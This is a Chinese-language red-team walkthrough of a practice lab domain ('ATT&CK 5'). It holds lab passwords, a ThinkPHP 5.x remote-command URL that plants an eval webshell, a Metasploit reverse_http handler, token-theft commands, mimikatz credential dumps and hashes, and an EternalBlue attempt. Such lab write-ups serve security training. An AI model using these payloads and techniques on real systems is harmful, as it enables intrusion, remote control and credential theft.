ATT&CK(五)

描述

虚拟机密码

win7

sun\heart 123.com

sun\Administrator dc123.com

2008

sun\admin 2020.com

Win7双网卡模拟内外网

红队思路

一、环境搭建

  • 1.环境搭建测试

  • 2.信息收集

二、漏洞利用

  • 3.漏洞搜索与利用

  • 4.漏洞利用Getshell

  • 5.系统信息收集

  • 6.主机密码收集

三、内网搜集

  • 7.内网–继续信息收集

  • 8.内网攻击姿势–MS14-058

  • 9.内网攻击姿势–MS17-010

四、横向移动

  • 10.psexec远控

  • 11.内网其它主机端口

  • 12.netsh增删防火墙规则

五、构建通道

  • 13.内网其它主机端口-代理转发

六、持久控制

  • 14.域渗透-域成员信息收集

  • 15.域渗透-基础服务弱口令探测及深度利用之powershell

  • 16.域渗透-横向移动[wmi利用]

  • 17.域渗透-域控实现与利用

七、痕迹清理

  • 18、日志清理

环境配置

将Windows 7和Windows 2008绑在这个VMnet1上。除此之外,还需要给Windows 7 新增一个网卡,并设置为桥接模式。最终Windows 7具有两个网卡,分别连通内外网,而Windows 2008只有一个网卡连接,处于内网无法与外网通信。

整个靶场环境大致如下:

图片

外网渗透

1
nmap -sS -p 1-65535 -A 192.168.135.150

发现80,135,3306端口

先看80端口

image-20230819105236493

thinkphp v5.x远程命令执行

1
http://192.168.135.150/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

成功上传webshell,

提权

可以在shell.php的路径下上传免杀

CS上线

cs派生msf

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.135.128
set lport 7725
run

image-20230819113037429

image-20230819113203679

image-20230819113215374

image-20230819113227564

收集信息

查看本机内网与外网ip

image-20230819112321124

发现两个网段,135是外网,138是内网

想要获取本机密码,权限不够尝试提权

提权

令牌窃取提权
1
2
3
4
5
6
load incognito                 加载incognito(伪装)
getuid 查看当前token
list_tokens -u 列出可用token,顺便查看一下域
impersonate_token "NT AUTHORITY\\SYSTEM" token窃取,格式为impersonate_token "主机名\\用户名"

rev2self 返回之前的token

image-20230819113737035

使用svc-exe进行提权

上线SYSTEM

横向渗透

收集信息

mimikatz获取本机密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Authentication Id : 0 ; 351639 (00000000:00055d97)
Session : CachedInteractive from 1
User Name : Administrator
Domain : SUN
Logon Server : DC
Logon Time : 2023/8/19 10:19:22
SID : S-1-5-21-3388020223-1982701712-4030140183-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : SUN
* LM : c8c42d085b5e3da2e9260223765451f1
* NTLM : e8bea972b3549868cecd667a64a6ac46
* SHA1 : 3688af445e35efd8a4d4e0a9eb90b754a2f3a4ee
tspkg :
* Username : Administrator
* Domain : SUN
* Password : dc123.com
wdigest :
* Username : Administrator
* Domain : SUN
* Password : dc123.com
kerberos :
* Username : Administrator
* Domain : SUN.COM
* Password : dc123.com

探测内网存活主机

1
2
3
4
5
6
[08/19 12:06:03] [+] received output:
192.168.138.1

[08/19 12:06:10] [+] received output:
192.168.138.136 本机
192.168.138.138 域

抓取hash

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
heart:1000:aad3b435b51404eeaad3b435b51404ee:a34efdd63a23abea4413ba73cafa5a30:::

SMB横向

先创建一个SMB监听器

image-20230513165136801

image-20230819141938751

域管上线

image-20230819142203799

ms17-010 尝试

1
2
3
4
5
use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.138.138
run

image-20221002204656612

这里可以很明显的看到,靶机存在永恒之蓝但是 session 反弹不成功,这里是因为 windows server2008 的情况下匿名管道是默认不开启的,我们知道 psexec 的原理就是使用了管道,ipc 连接也是同理,那么在匿名管道不开的情况下永恒之蓝的连接是建立不上的

1
2
3
4
5
6
7
8
9
匿名管道的概念
管道是ipc最基本的一种实现机制,在linux下一切皆文件 其实这里的管道其实就是一个文件.管道实现进程通信就是让两个进程都能访问该文件

管道的特征
只能提供单向通信,也就是说进程都能访问这个文件,假设进程1往文件里写东西,那么进程2就只能读取文件的内容
只能用于具有血缘关系的进程间进行通信,通常用于父子进程间通信
管道是依赖于字节流来通信的
依赖于文件系统,它的声明周期随进程的结束结束(随进程)
其本身自带同步互斥效果